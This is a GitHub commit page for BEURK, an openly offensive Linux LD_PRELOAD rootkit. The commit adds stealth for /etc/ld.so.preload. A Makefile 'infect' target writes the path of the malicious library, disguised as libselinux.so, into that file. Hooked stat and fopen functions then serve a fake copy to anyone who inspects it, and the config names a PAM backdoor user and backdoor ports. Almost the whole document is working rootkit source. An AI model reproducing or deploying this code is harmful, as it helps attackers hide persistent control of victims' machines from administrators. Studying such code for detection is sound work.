Skip to content

Commit cbe32fb

Browse files
committed
feat(core): issue #78
invisible content /etc/ld.so.preload
1 parent 5e9ddb3 commit cbe32fb

File tree

16 files changed

+83
-9
lines changed

16 files changed

+83
-9
lines changed

Makefile

Lines changed: 12 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -3,17 +3,21 @@ UNAME := $(shell uname -s)
33
SHELL := /bin/bash
44

55
# set default config values (can be overidden by setting env vars)
6-
BEURK_CONFIG_FILE ?= beurk.conf
7-
BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
8-
BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
9-
BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
6+
BEURK_CONFIG_FILE ?= beurk.conf
7+
BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
8+
BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
9+
BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
10+
BEURK_FAKE_LD_PRELOAD ?= $(shell grep -E '^FAKE_LD_PRELOAD[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
11+
BEURK_ENV_IS_ATTACKER ?= $(shell grep -E '^_ENV_IS_ATTACKER[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
1012

1113
# do not infect the system in debug mode
1214
ifneq ($(BEURK_DEBUG_LEVEL), 0)
1315
BEURK_LD_PRELOAD := /tmp/beurk/ld.so.preload
1416
BEURK_INFECT_DIR := /tmp/beurk
17+
#BEURK_FAKE_LD_PRELOAD := /tmp/beurk/$(BEURK_FAKE_LD_PRELOAD)
1518
else
1619
BEURK_LD_PRELOAD := /etc/ld.so.preload
20+
BEURK_FAKE_LD_PRELOAD := $(BEURK_FAKE_LD_PRELOAD)
1721
endif
1822

1923
# absolute install path
@@ -113,14 +117,16 @@ infect: $(BEURK_LIBRARY_NAME)
113117
@echo "Install in $(BEURK_INFECT_ABSPATH)"
114118
install -d $(BEURK_INFECT_DIR)
115119
install -m 755 $(BEURK_LIBRARY_NAME) $(BEURK_INFECT_DIR)/
116-
echo $(BEURK_INFECT_ABSPATH) >> $(BEURK_LD_PRELOAD)
120+
cp $(BEURK_LD_PRELOAD) $(BEURK_FAKE_LD_PRELOAD) || touch $(BEURK_FAKE_LD_PRELOAD)
121+
echo $(BEURK_INFECT_ABSPATH) > $(BEURK_LD_PRELOAD)
117122
@echo "Successful infection"
118123

119124
# uninstall the rootkit (if installed on current system)
120125
disinfect:
121126
@echo "Uninstall $(BEURK_INFECT_ABSPATH)"
122127
$(RM) $(BEURK_INFECT_DIR)/$(BEURK_LIBRARY_NAME)
123-
sed '#$(BEURK_INFECT_ABSPATH)#d' $(BEURK_LD_PRELOAD) > $(BEURK_LD_PRELOAD)
128+
$(BEURK_ENV_IS_ATTACKER)=true cp /dev/null $(BEURK_LD_PRELOAD)
129+
mv $(BEURK_FAKE_LD_PRELOAD) $(BEURK_LD_PRELOAD)
124130
@echo "Successful disinfection"
125131

126132
# remove object files

beurk.conf

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,9 @@
66
# str: name of the generated evil hooking library
77
LIBRARY_NAME = libselinux.so
88

9+
# str: ld.so.preload file
10+
LD_PRELOAD = /etc/ld.so.preload
11+
912
# str: where to store infected, only work in `production` mode
1013
INFECT_DIR = /lib
1114

@@ -21,6 +24,11 @@ DEBUG_FILE = /dev/stderr
2124
# str: hide files with this string in the name
2225
MAGIC_STRING = _BEURK_
2326

27+
# str: fake ld.so.preload file
28+
# WARNING MAGIC_STRING is present
29+
# WARNING string "ld.so.preload" must not be present on FAKE_LD_PRELOAD
30+
FAKE_LD_PRELOAD = /etc/_BEURK_ld_so_preload
31+
2432
# str: PAM username (for su / ssh login)
2533
PAM_USER = beurkroot
2634

includes/beurk.h

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,9 @@ int is_attacker(void) INTERNAL_API;
4343
/* is_hidden_file.c */
4444
int is_hidden_file(const char *path) INTERNAL_API;
4545

46+
/* is_ld_preload_file.c */
47+
int is_ld_preload_file(const char *path) INTERNAL_API;
48+
4649
/* is_procnet.c */
4750
int is_procnet(const char *path) INTERNAL_API;
4851

reconfigure

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,11 +62,13 @@ def type_hexbyte(v):
6262
# the list of config keys (with their associated expected type)
6363
CONFIG_KEYS = {
6464
"LIBRARY_NAME": type_str,
65+
"LD_PRELOAD": type_str,
6566
"INFECT_DIR": type_str,
6667
"DEBUG_LEVEL": type_int,
6768
"DEBUG_FILE": type_str,
6869
"XOR_KEY": type_hexbyte,
6970
"MAGIC_STRING": type_str,
71+
"FAKE_LD_PRELOAD": type_str,
7072
"PAM_USER": type_str,
7173
"LOW_BACKDOOR_PORT": type_int,
7274
"HIGH_BACKDOOR_PORT": type_int,

src/hooks/__lxstat.c

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,10 @@ int __lxstat(int ver, const char *path, struct stat *buf) {
3232
if (is_attacker())
3333
return (REAL___LXSTAT(ver, path, buf));
3434

35+
if (is_ld_preload_file(path)) {
36+
return REAL___LXSTAT(ver, FAKE_LD_PRELOAD, buf);
37+
}
38+
3539
if (is_hidden_file(path)) {
3640
errno = ENOENT;
3741
return (-1);

src/hooks/__lxstat64.c

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,10 @@ int __lxstat64(int ver, const char *path, struct stat64 *buf) {
3232
if (is_attacker())
3333
return (REAL___LXSTAT64(ver, path, buf));
3434

35+
if (is_ld_preload_file(path)) {
36+
return REAL___LXSTAT64(ver, FAKE_LD_PRELOAD, buf);
37+
}
38+
3539
if (is_hidden_file(path)) {
3640
errno = ENOENT;
3741
return (-1);

src/hooks/__xstat.c

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@
2020

2121
#include <sys/stat.h> /* struct stat */
2222
#include <errno.h> /* errno, ENOENT */
23+
#include <string.h> /* strstr() */
2324
#include "beurk.h" /* is_attacker(), is_hidden_file() */
2425
#include "config.h" /* REAL___XSTAT() */
2526
#include "debug.h" /* DEBUG() */
@@ -32,6 +33,10 @@ int __xstat(int __ver, const char *__filename, struct stat *buf) {
3233
if (is_attacker())
3334
return (REAL___XSTAT(__ver, __filename, buf));
3435

36+
if (is_ld_preload_file(__filename)) {
37+
return REAL___XSTAT(__ver, FAKE_LD_PRELOAD, buf);
38+
}
39+
3540
if (is_hidden_file(__filename)) {
3641
errno = ENOENT;
3742
return (-1);

src/hooks/__xstat64.c

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@
2020

2121
#include <sys/stat.h> /* struct stat64 */
2222
#include <errno.h> /* errno, ENOENT */
23+
#include <string.h> /* strstr() */
2324
#include "beurk.h" /* is_attacker(), is_hidden_file() */
2425
#include "config.h" /* REAL___XSTAT64() */
2526
#include "debug.h" /* DEBUG() */
@@ -32,6 +33,10 @@ int __xstat64(int ver, const char *__restrict __file, struct stat64 *buf) {
3233
if (is_attacker())
3334
return (REAL___XSTAT64(ver, __file, buf));
3435

36+
if (is_ld_preload_file(__file)) {
37+
return REAL___XSTAT64(ver, FAKE_LD_PRELOAD, buf);
38+
}
39+
3540
if (is_hidden_file(__file)) {
3641
errno = ENOENT;
3742
return (-1);

src/hooks/fopen.c

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@
1919
*/
2020

2121
#include <errno.h> /* errno, ENOENT */
22+
#include <string.h> /* strstr() */
2223
#include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */
2324
#include "config.h" /* REAL_FOPEN() */
2425
#include "debug.h" /* DEBUG() */
@@ -31,6 +32,9 @@ FILE *fopen(const char *__restrict path, const char *mode) {
3132
if (is_attacker())
3233
return (REAL_FOPEN(path, mode));
3334

35+
if (is_ld_preload_file(path))
36+
return REAL_FOPEN(FAKE_LD_PRELOAD, mode);
37+
3438
if (is_hidden_file(path)) {
3539
errno = ENOENT;
3640
return (NULL);

src/hooks/fopen64.c

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@
1919
*/
2020

2121
#include <errno.h> /* errno, ENOENT */
22+
#include <string.h> /* strstr() */
2223
#include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */
2324
#include "config.h" /* REAL_FOPEN64() */
2425
#include "debug.h" /* DEBUG() */
@@ -31,6 +32,9 @@ FILE *fopen64(const char *__restrict path, const char *mode) {
3132
if (is_attacker())
3233
return (REAL_FOPEN64(path, mode));
3334

35+
if (is_ld_preload_file(path))
36+
return REAL_FOPEN64(FAKE_LD_PRELOAD, mode);
37+
3438
if (is_hidden_file(path)) {
3539
errno = ENOENT;
3640
return (NULL);

0 commit comments

Comments
 (0)